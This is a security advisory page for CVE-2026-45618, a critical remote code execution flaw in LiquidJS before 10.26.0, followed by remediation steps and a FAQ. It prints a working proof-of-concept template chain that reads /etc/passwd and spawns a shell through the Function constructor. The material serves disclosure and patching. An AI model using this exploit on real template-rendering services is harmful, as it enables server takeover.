CVE-2026-45618: LiquidJS is Vulnerable to Remote Code Execution

Published May 27, 2026
·
Updated

Summary It is possible to execute arbitrary code with crafted templates

Details

<details> <summary> 1|valueOf -> this when evaluating the filter

</summary>

liquid {%assign r=1|valueOf%} {{r|inspect}}

json {"context":{"scopes":[{"r":"[Circular]"}],"registers":{},"breakCalled":false,"continueCalled":false,"sync":false,"opts":{"root":["."],"layouts":["."],"partials":["."],"relativeReference":true,"jekyllInclude":false,"keyValueSeparator":":","extname":"","fs":{"sep":"/"},"dynamicPartials":true,"jsTruthy":false,"dateFormat":"%A, %B %-e, %Y at %-l:%M %P %z","locale":"en-US","trimTagRight":false,"trimTagLeft":false,"trimOutputRight":false,"trimOutputLeft":false,"greedy":true,"tagDelimiterLeft":"{%","tagDelimiterRight":"%}","outputDelimiterLeft":"{{","outputDelimiterRight":"}}","preserveTimezones":false,"strictFilters":false,"strictVariables":false,"ownPropertyOnly":true,"lenientIf":false,"globals":{},"keepOutputType":false,"operators":{},"memoryLimit":null,"parseLimit":null,"renderLimit":null},"globals":{},"environments":{},"strictVariables":false,"ownPropertyOnly":true,"memoryLimit":{"base":0,"message":"memory alloc limit exceeded","limit":null},"renderLimit":{"base":0,"message":"template render limit exceeded","limit":null}},"token":{"kind":32,"input":"{%assign r=1|valueOf%}\n{{r|inspect}}","begin":13,"end":20,"name":"valueOf","args":[]},"liquid":{"renderer":{},"filters":{"raw":{"raw":true}},"tags":{},"options":{"root":["."],"layouts":["."],"partials":["."],"relativeReference":true,"jekyllInclude":false,"keyValueSeparator":":","extname":"","fs":{"sep":"/"},"dynamicPartials":true,"jsTruthy":false,"dateFormat":"%A, %B %-e, %Y at %-l:%M %P %z","locale":"en-US","trimTagRight":false,"trimTagLeft":false,"trimOutputRight":false,"trimOutputLeft":false,"greedy":true,"tagDelimiterLeft":"{%","tagDelimiterRight":"%}","outputDelimiterLeft":"{{","outputDelimiterRight":"}}","preserveTimezones":false,"strictFilters":false,"strictVariables":false,"ownPropertyOnly":true,"lenientIf":false,"globals":{},"keepOutputType":false,"operators":{},"memoryLimit":null,"parseLimit":null,"renderLimit":null},"parser":{"liquid":"[Circular]","fs":{"sep":"/"},"loader":{"options":{"root":["."],"layouts":["."],"partials":["."],"relativeReference":true,"jekyllInclude":false,"keyValueSeparator":":","extname":"","fs":{"sep":"/"},"dynamicPartials":true,"jsTruthy":false,"dateFormat":"%A, %B %-e, %Y at %-l:%M %P %z","locale":"en-US","trimTagRight":false,"trimTagLeft":false,"trimOutputRight":false,"trimOutputLeft":false,"greedy":true,"tagDelimiterLeft":"{%","tagDelimiterRight":"%}","outputDelimiterLeft":"{{","outputDelimiterRight":"}}","preserveTimezones":false,"strictFilters":false,"strictVariables":false,"ownPropertyOnly":true,"lenientIf":false,"globals":{},"keepOutputType":false,"operators":{},"memoryLimit":null,"parseLimit":null,"renderLimit":null}},"parseLimit":{"base":0,"message":"parse length limit exceeded","limit":null}}}}

</details>

<details> <summary> function calls with a controlled first argument via comprable

</summary>

js import { Liquid } from "liquidjs";

const engine = new Liquid();

const storeFn = (dst, src) => { const parts = src.split("."); const path = parts.slice(0, -1).join("."); const prop = parts.at(-1);

return {% assign g = ${path}|groupby:"0"%} {% assign gs = g | where:n,"${prop}"|first%} {% assign ${dst} = gs.items | first | last %}; };

const tpl = {% liquid assign r = 1|valueOf assign m = r.context.scopes|first assign fs = r.liquid.options.fs assign n = "name"%}

${storeFn("equals", "fs.readFileSync")} ${storeFn("gt", "fs.readFileSync")} ${storeFn("geq", "fs.readFileSync")} ${storeFn("lt", "fs.readFileSync")} ${storeFn("leq", "fs.readFileSync")}

{{m == "/etc/passwd"}} ;

const v = await engine.parseAndRender(tpl, {}); console.log(v.trim());

<img width="1426" height="717" alt="image" src="https://github.com/user-attachments/assets/0618eb81-fb0d-4100-a6a0-556982decf8a" />

</details>

<details><summary>changing the prototype of things</summary>

js import { Liquid } from "liquidjs";

const engine = new Liquid();

engine.registerFilter("log", (val) => console.dir(val, { depth: 1 }));

const tpl = {% liquid assign r = 1|valueOf assign m = r.context.scopes|first %}

{{m|log}} {% assign proto = r.liquid.parser %} {{m|log}} ;

const v = await engine.parseAndRender(tpl, {}); console.log(v.trim()); <img width="723" height="211" alt="image" src="https://github.com/user-attachments/assets/c05f4c4a-4151-4765-b569-3300ad837668" />

</details>

When calling functions via the comparable gadget, this will be the scope. By overwriting this.loader.lookup and this.readFile, to fully control what goes into this.parse, and while controlling this, a reference to the Function constructor can be obtained, which then allows executing arbitrary code.

ts private parseFile (file: string, sync?: boolean, type: LookupType = LookupType.Root, currentFile?: string): Generator<unknown, Template[], string> { const filepath = yield this.loader.lookup(file, type, sync, currentFile) return this.parse(yield this.readFile(!!sync, filepath), filepath) }

PoC Complete instructions, including specific configuration details, to reproduce the vulnerability.

js import { Liquid } from "liquidjs";

const engine = new Liquid();

const storeFn = (dst, src) => { const parts = src.split("."); const path = parts.slice(0, -1).join("."); const prop = parts.at(-1);

return {% assign g = ${path}|groupby:"0"%} {% assign gs = g | where:n,"${prop}"|first%} {% assign ${dst} = gs.items | first | last %}; };

const tpl = {% liquid assign r = 1|valueOf assign m = r.context.scopes|first assign l = r.liquid assign p = l.parser assign f = l.filters assign n = "name"%}

${storeFn("equals", "p.parseFile")} ${storeFn("gt", "p.parseFile")} ${storeFn("geq", "p.parseFile")} ${storeFn("lt", "p.parseFile")} ${storeFn("leq", "p.parseFile")}

${storeFn("readFile", "f.default")} ${storeFn("lookup", "f.raw.handler")}

{% assign loader = m %} {% assign context = m %} {% assign opts = m %} {% assign liquid = m %} {% assign options = m %} {% assign proto = p %}

{% assign tagDelimiterLeft = n %} {% assign tagDelimiterRight = n %} {% assign outputDelimiterLeft = '[' %} {% assign outputDelimiterRight = ']'%}

{# set to some some function, so that filters['constructor'] -> Function #} ${storeFn("filters", "f.raw.handler")}

{# store Function #} {% assign output = m == "[0|constructor]" | first %} {% assign val = output.value.filters|first %}

{# set scope.equals to Function #} ${storeFn("equals", "val.handler")} {% assign RCE = m == "return process.getBuiltinModule('childprocess').execSync('sh',{stdio:'inherit'})" %} {{RCE}} ;

const v = await engine.parseAndRender(tpl, {}); console.log(v.trim());

Impact What kind of vulnerability is it? Who is impacted? Remote Code Execution.

Other sources

LiquidJS is a Shopify/GitHub Pages compatible template engine. Prior to version 10.26.0, it is possible to execute arbitrary code with crafted templates. Version 10.26.0 patches the issue.

MITRE

Affected Software

1 affected componentFixes available
npm/liquidjs<10.26.0
10.26.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/liquidjs to a version that resolves this vulnerability.

    Fixed in 10.26.0
  2. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 10.26.0

Event History

May 27, 2026
Advisory Published
via GitHub·06:24 PM
Data Sourced
via GitHub·06:24 PM
DescriptionSeverityWeaknessAffected Software
Aug 11, 2026
CVE Published
via MITRE·07:27 PM
Data Sourced
via MITRE·07:27 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·08:17 PM
DescriptionSeverityWeakness

Frequently Asked Questions

1

What is the severity of CVE-2026-45618?

The severity of CVE-2026-45618 is rated as critical with a score of 10.

2

What does CVE-2026-45618 allow an attacker to do?

CVE-2026-45618 allows an attacker to execute arbitrary code through crafted templates.

3

How do I fix CVE-2026-45618?

To fix CVE-2026-45618, upgrade to the latest version of liquidjs that addresses this vulnerability.

4

What software is affected by CVE-2026-45618?

CVE-2026-45618 affects the npm package liquidjs.

5

What is the potential impact of CVE-2026-45618?

The potential impact of CVE-2026-45618 includes compromising system security through code injection.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203